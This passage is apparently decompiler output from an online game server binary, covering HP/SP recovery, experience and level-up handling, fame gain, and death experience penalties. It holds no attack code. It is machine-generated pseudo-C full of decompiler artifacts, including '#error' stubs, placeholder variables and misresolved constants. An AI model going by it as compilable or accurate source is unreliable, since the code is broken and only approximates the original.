"ShineObjectClass::ShineMobileObject::so_attack"); result = v16; } return result; } // 41DC90: inconsistent function type and number of purged bytes //----- (0041DEA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_attack(#331 *this, int a2) { #331 *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_attack(v2, a2); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_attack"); return v4; } // 41DEA0: inconsistent function type and number of purged bytes //----- (0041DF50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = hp + *((_DWORD *)v2 + 1865); v4 = v3; *((_DWORD *)v2 + 1865) = v3; v5 = *((_DWORD *)v2 + 932); if ( v4 >= v5 ) *((_DWORD *)v2 + 1865) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoverhp"); } //----- (0041DFD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *((_DWORD *)v2 + 1866); v4 = v3; *((_DWORD *)v2 + 1866) = v3; v5 = *((_DWORD *)v2 + 933); if ( v4 >= v5 ) *((_DWORD *)v2 + 1866) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_recoversp"); } //----- (0041E050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoverhp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v2, hp, 1, (int)"ShineObjectClass::ShinePlayer::so_recoverhp"); v3 = hp + *((_DWORD *)v2 + 8024); v4 = v3; *((_DWORD *)v2 + 8024) = v3; v5 = *((_DWORD *)v2 + 932); if ( v4 >= v5 ) *((_DWORD *)v2 + 8024) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoverhp"); } //----- (0041E120) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@1 unsigned int v5; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_recoversp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2 + *((_DWORD *)v2 + 8025); v4 = v3; *((_DWORD *)v2 + 8025) = v3; v5 = *((_DWORD *)v2 + 933); if ( v4 >= v5 ) *((_DWORD *)v2 + 8025) = v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_recoversp"); } //----- (0041E1A0) -------------------------------------------------------- #error "41E1A0: undefined or illegal type '#331' (funcsize=20)" //----- (0041E1E0) -------------------------------------------------------- #error "41E1E0: undefined or illegal type '#331' (funcsize=90)" //----- (0041E330) -------------------------------------------------------- #error "41E330: undefined or illegal type '#331' (funcsize=126)" //----- (0041E4F0) -------------------------------------------------------- #error "41E4F0: undefined or illegal type '#331' (funcsize=72)" //----- (0041E5F0) -------------------------------------------------------- #error "41E5F0: undefined or illegal type '#331' (funcsize=120)" //----- (0041E780) -------------------------------------------------------- #error "41E780: undefined or illegal type '#331' (funcsize=43)" //----- (0041E840) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this) { void *v1; // esi@1 void *v2; // ST24_4@1 int v3; // eax@1 unsigned int v4; // ebx@1 unsigned int v5; // ebp@1 __int64 v6; // qdi@1 unsigned __int64 v7; // kr08_8@1 unsigned int result; // eax@2 v1 = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_BYTE *)v1 + 32079); v4 = *(unsigned int *)((char *)&shineparam.scp_param.AddBuffTime + v3 * 8); v5 = *(unsigned int *)((char *)&shineparam.scp_param.MaxBuffTime + v3 * 8); LODWORD(v6) = (__PAIR__(HIDWORD(shineparam.scp_param.nextexp[v3]), LODWORD(shineparam.scp_param.nextexp[v3])) - __PAIR__(v5, v4)) >> 32; HIDWORD(v6) = LODWORD(shineparam.scp_param.nextexp[v3]) - v4; v7 = *((_QWORD *)v2 + 4010) - __PAIR__(v5, v4); if ( v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4 + ((16 * v7 / __PAIR__(v6, HIDWORD(v6)) + 1) * __PAIR__(v6, HIDWORD(v6)) >> 4); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NextSaveExperience"); result = v4; } return result; } //----- (0041E980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GainExp(void *this, int expgain, __int16 questmobid, __int16 mobid) { void *v4; // esi@1 int v5; // edx@1 int v6; // edi@3 int v7; // edx@5 char *v8; // eax@6 char v9; // al@6 int v10; // eax@7 int v11; // ecx@10 int v12; // ebp@10 char *v13; // eax@10 __int16 v14; // bp@10 int v15; // eax@12 char *v16; // edi@13 ZoneBaseSession *v17; // eax@15 unsigned int v18; // edx@16 unsigned int v19; // edi@16 int v20; // ecx@16 int v21; // edx@19 int v22; // eax@19 int v23; // eax@19 char v24; // cl@19 char *v25; // eax@19 int v26; // eax@21 char *v27; // eax@22 int v28; // ST04_4@22 int v29; // eax@22 char *v30; // edi@22 ZoneBaseSession *v31; // eax@24 char *v32; // edi@25 int v33; // eax@25 int v34; // eax@25 ZoneBaseSession *v35; // eax@27 char *v36; // edi@30 char v37; // al@30 ZoneBaseSession *v38; // eax@31 int v39; // edi@32 int v40; // eax@32 char *v41; // ecx@33 char v42; // al@33 int v43; // eax@34 unsigned int v44; // eax@35 int v45; // edx@35 int v46; // edx@35 int v47; // edx@37 char *v48; // [sp+10h] [bp-2Ch]@9 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@22 int v50; // [sp+38h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GainExp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GainExp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v50 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v5 + 1136))(v4) == 3 || !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1136))(v4) ) { v48 = "ShineObjectClass::ShinePlayer::sp_GainExp"; goto LABEL_40; } v6 = expgain; if ( expgain > 0 ) { if ( mobid != -1 ) { v7 = *(_DWORD *)v4; expgain = mobid; if ( (*(int (__thiscall **)(void *, int *))(v7 + 1460))(v4, &expgain) == 1 ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23565; *((_WORD *)v8 + 1) = expgain; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } } } } if ( *((_BYTE *)v4 + 32079) >= (unsigned __int8)shineparam.scp_param.levellimit ) { v48 = "ShineObjectClass::ShinePlayer::sp_GainExp"; LABEL_40: v50 = -1; goto LABEL_41; } v11 = *((_DWORD *)v4 + 8020); v12 = *((_DWORD *)v4 + 8021); *((_DWORD *)v4 + 8020) = v6 + v11; *((_DWORD *)v4 + 8021) = ((unsigned __int64)v6 >> 32) + __CFADD__(v6, v11) + v12; v13 = gpp.pp_Buffer; v14 = questmobid; *(_WORD *)gpp.pp_Buffer = 9227; *(_DWORD *)(v13 + 2) = v6; *((_WORD *)v13 + 3) = v14; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 8); } v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4211; *((_WORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v16 + 2) = *((_DWORD *)v4 + 8020); *((_DWORD *)v16 + 3) = *((_DWORD *)v4 + 8021); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 16); } v18 = *((_DWORD *)v4 + 8021); v19 = *((_DWORD *)v4 + 8020); v20 = *((_BYTE *)v4 + 32079); if ( v18 < HIDWORD(shineparam.scp_param.nextexp[v20]) || v18 <= HIDWORD(shineparam.scp_param.nextexp[v20]) && v19 < LODWORD(shineparam.scp_param.nextexp[v20]) ) { if ( __PAIR__(v18, v19) > *((_QWORD *)v4 + 4020) ) { *((_DWORD *)v4 + 8040) = ShineObjectClass::ShinePlayer::sp_NextSaveExperience(v4); *((_DWORD *)v4 + 8041) = v47; } v50 = -1; v48 = "ShineObjectClass::ShinePlayer::sp_GainExp"; } else { v21 = *(_DWORD *)v4; ++*((_BYTE *)v4 + 32079); (*(void (__thiscall **)(void *))(v21 + 1368))(v4); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1244))(v4); ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v4, v22, 0, (int)"ShineObjectClass::ShinePlayer::sp_GainExp"); *((_DWORD *)v4 + 8024) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1244))(v4); v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1248))(v4); v24 = *((_BYTE *)v4 + 32079); *((_DWORD *)v4 + 8025) = v23; CCharacterTitleZone::CT_LevelUp((CCharacterTitleZone *)((char *)v4 + 89936), v24); CAnnounceSystem::AnnounceSystem_LevelMax(&gAnnounceSystem, (Name4 *)((char *)v4 + 32062), *((_BYTE *)v4 + 32079)); (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v4 + 16512) + 4))((char *)v4 + 66048, *((_BYTE *)v4 + 32079)); v25 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9228; v25[2] = *((_BYTE *)v4 + 32079); *(_WORD *)(v25 + 3) = v14; (*(void (__thiscall **)(void *, char *))(*(_DWORD *)v4 + 1568))(v4, v25 + 5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 233) ) { v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v26 + 12))(v26, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 233); } v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9229; *((_WORD *)v27 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v27 + 2) = v14; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v28 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v50) = 1; v29 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v29, v28, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v50) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); WholeSaver::ws_savelevel2worldmamager(&wholesaver, (#440 *)v4); v30 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4212; *((_WORD *)v30 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v30 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v30[8] = *((_BYTE *)v4 + 32079); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v31); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 9); } v32 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1054; *(_DWORD *)(v32 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v33 = *(_DWORD *)((char *)v4 + 98); *(_DWORD *)(v32 + 6) = *(_DWORD *)v33; *(_DWORD *)(v32 + 10) = *(_DWORD *)(v33 + 4); *(_DWORD *)(v32 + 14) = *(_DWORD *)(v33 + 8); v34 = *(_DWORD *)((char *)v4 + 78); *(_DWORD *)(v32 + 18) = *(_DWORD *)v34; *(_DWORD *)(v32 + 22) = *(_DWORD *)(v34 + 4); v32[26] = *((_BYTE *)v4 + 32079); *(_DWORD *)(v32 + 27) = *((_DWORD *)v4 + 8020); *(_DWORD *)(v32 + 31) = *((_DWORD *)v4 + 8021); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { v35 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v35); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 35); } WholeSaver::ws_save2DB(&wholesaver, (#331 *)v4, 1, 8); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) == 1 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4) ) { v36 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26517; *((_DWORD *)v36 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v36 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v36 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v36 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); v36[16] = *((_BYTE *)v4 + 32079); v37 = ProtocolPacket::pp_SetPacketLen(&gpp, 17); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v37, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 17) ) { v38 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v38); } } } v39 = CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v4 + 3412); v40 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1640))(v4) - v39; if ( v40 > 0 ) { v41 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18448; v41[2] = v40; v42 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v42, "ShineObjectClass::ShinePlayer::sp_GainExp : Packet Too Long", 3) ) { v43 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v43 + 12))(v43, v4, &gpp); } } ShineObjectClass::ShinePlayer::sp_StatRemainSend(v4); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 32))(v4, *((_BYTE *)v4 + 32079)); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1084))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1080))(v4); v44 = ShineObjectClass::ShinePlayer::sp_NextSaveExperience(v4); *((_DWORD *)v4 + 8041) = v45; v46 = *(_DWORD *)v4; *((_DWORD *)v4 + 8040) = v44; *(_BYTE *)(*(_DWORD *)((char *)v4 + 32047) + 143) = (*(int (__thiscall **)(void *))(v46 + 1220))(v4); v50 = -1; v48 = "ShineObjectClass::ShinePlayer::sp_GainExp"; } LABEL_41: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v48); } //----- (0041EFE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain) { void *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int v5; // eax@2 char *v6; // eax@4 int v7; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GainFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8026); if ( v3 < 0xC350 ) { v4 = famegain; v5 = famegain + v3; *((_DWORD *)v2 + 8026) = v5; if ( (unsigned int)v5 >= 0xC350 ) { v4 = 50000 - v5 + famegain; *((_DWORD *)v2 + 8026) = 50000; } v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9286; *(_DWORD *)(v6 + 2) = v4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v7 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v7 + 12))(v7, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_GainFame : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GainFame"); } //----- (0041F0F0) -------------------------------------------------------- unsigned int __stdcall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa) { unsigned int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((signed int)nextexp - (signed int)prevexp) / 0x64u; if ( fa ) v3 = (unsigned int)(v3 * *(_WORD *)(fa + 167) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob"); return v3; } //----- (0041F180) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa) { void *v4; // esi@1 unsigned int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = shineparam.scp_param.commonparam[(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4)]->ExpLostAtPvP; if ( fa ) v5 = ((signed int)((unsigned __int64)((signed int)(v5 * *(_WORD *)(fa + 169)) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((signed int)(v5 * *(_WORD *)(fa + 169)) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField"); return v5; } //----- (0041F250) -------------------------------------------------------- int __userpurge ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)) { int v4; // esi@1 int v5; // ecx@2 char v6; // dl@2 int v7; // eax@3 int v8; // eax@4 int result; // eax@6 unsigned __int8 v10; // al@11 int v11; // edi@11 int v12; // ST2C_4@11 unsigned __int8 v13; // al@11 int v14; // ebp@11 unsigned int v15; // ebx@11 int v16; // eax@11 unsigned int v17; // ecx@11 int v18; // edi@11 unsigned int v19; // eax@11 unsigned int v20; // eax@15 int v21; // ecx@15 char *v22; // eax@17 int v23; // eax@19 char *v24; // ebx@20 ZoneBaseSession *v25; // eax@22 v4 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(v4 + 91694) ) { LOWORD(v5) = *(_WORD *)(v4 + 91696); v6 = 0; if ( (unsigned __int16)v5 < *(_WORD *)(v4 + 91068) ) { v8 = *(_DWORD *)(v4 + 91072) + 12 * (unsigned __int16)v5; v6 = *(_BYTE *)(v8 + 8); v7 = *(_DWORD *)v8; } else { v7 = 0; } v5 = (unsigned __int16)v5; if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Not in list", v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } if ( v7 == 0 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Null node", v5); goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4) < 0xAu ) { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); return 0; } v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v4 + 1220))(v4, a2); v11 = LODWORD(shineparam.scp_param.nextexp[v10]); v12 = HIDWORD(shineparam.scp_param.nextexp[v10]); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1220))(v4); v14 = *(&shineparam.scp_param.AddBuffTime + 2 * v13); v15 = *(&shineparam.scp_param.MaxBuffTime + 2 * v13); v16 = a4(v4, v14, v15, v11, v12); v17 = *(_DWORD *)(v4 + 32080); v18 = v16; v19 = *(_DWORD *)(v4 + 32084); if ( (v19 || v17 >= v18) && v18 ) { v20 = (__PAIR__(v19, v17) - (unsigned int)v18) >> 32; v21 = v17 - v18; if ( __PAIR__(v20, v21) < __PAIR__(v15, v14) ) { v21 = v14; v20 = v15; v18 = *(_DWORD *)(v4 + 32080) - v14; } *(_DWORD *)(v4 + 32080) = v21; *(_DWORD *)(v4 + 32084) = v20; v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9233; *(_DWORD *)(v22 + 2) = v18; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v23 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v23 + 12))(v23, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 6); } v24 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4211; *((_WORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_DWORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v24 + 2) = *(_DWORD *)(v4 + 32080); *((_DWORD *)v24 + 3) = *(_DWORD *)(v4 + 32084); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 16); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = v18; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled"); result = 0; } return result; } //----- (0041F540) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@7 char v6; // al@12 int v7; // ST0C_4@13 char v8; // al@13 char v9; // dl@14 int v10; // edx@14 FunctionEntarance _; // [sp+10h] [bp-2Ch]@1 int engarg; // [sp+14h] [bp-28h]@14 int v13; // [sp+18h] [bp-24h]@14 int v14; // [sp+1Ch] [bp-20h]@14 __int16 v15; // [sp+20h] [bp-1Ch]@14 char v16; // [sp+22h] [bp-1Ah]@14 char v17; // [sp+23h] [bp-19h]@14 char v18; // [sp+24h] [bp-18h]@14 char v19; // [sp+25h] [bp-17h]@14 char v20; // [sp+26h] [bp-16h]@14 char v21; // [sp+27h] [bp-15h]@14 int v22; // [sp+28h] [bp-14h]@14 int v23; // [sp+2Ch] [bp-10h]@14 int v24; // [sp+38h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; if ( !(_S14_3 & 1) ) { _S14_3 |= 1u; cmc_2.cmc_AllowMode = 4; atexit(_E15_2); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_2.cmc_AllowMode && !*(_DWORD *)(v4 + 7172) && *(_DWORD *)(v4 + 88980) < clockwatch.cw_CurrTick ) { *(_DWORD *)(v4 + 88980) = clockwatch.cw_CurrTick; v5 = *(_DWORD *)(v4 + 32180); if ( v5 || (v5 = *(_DWORD 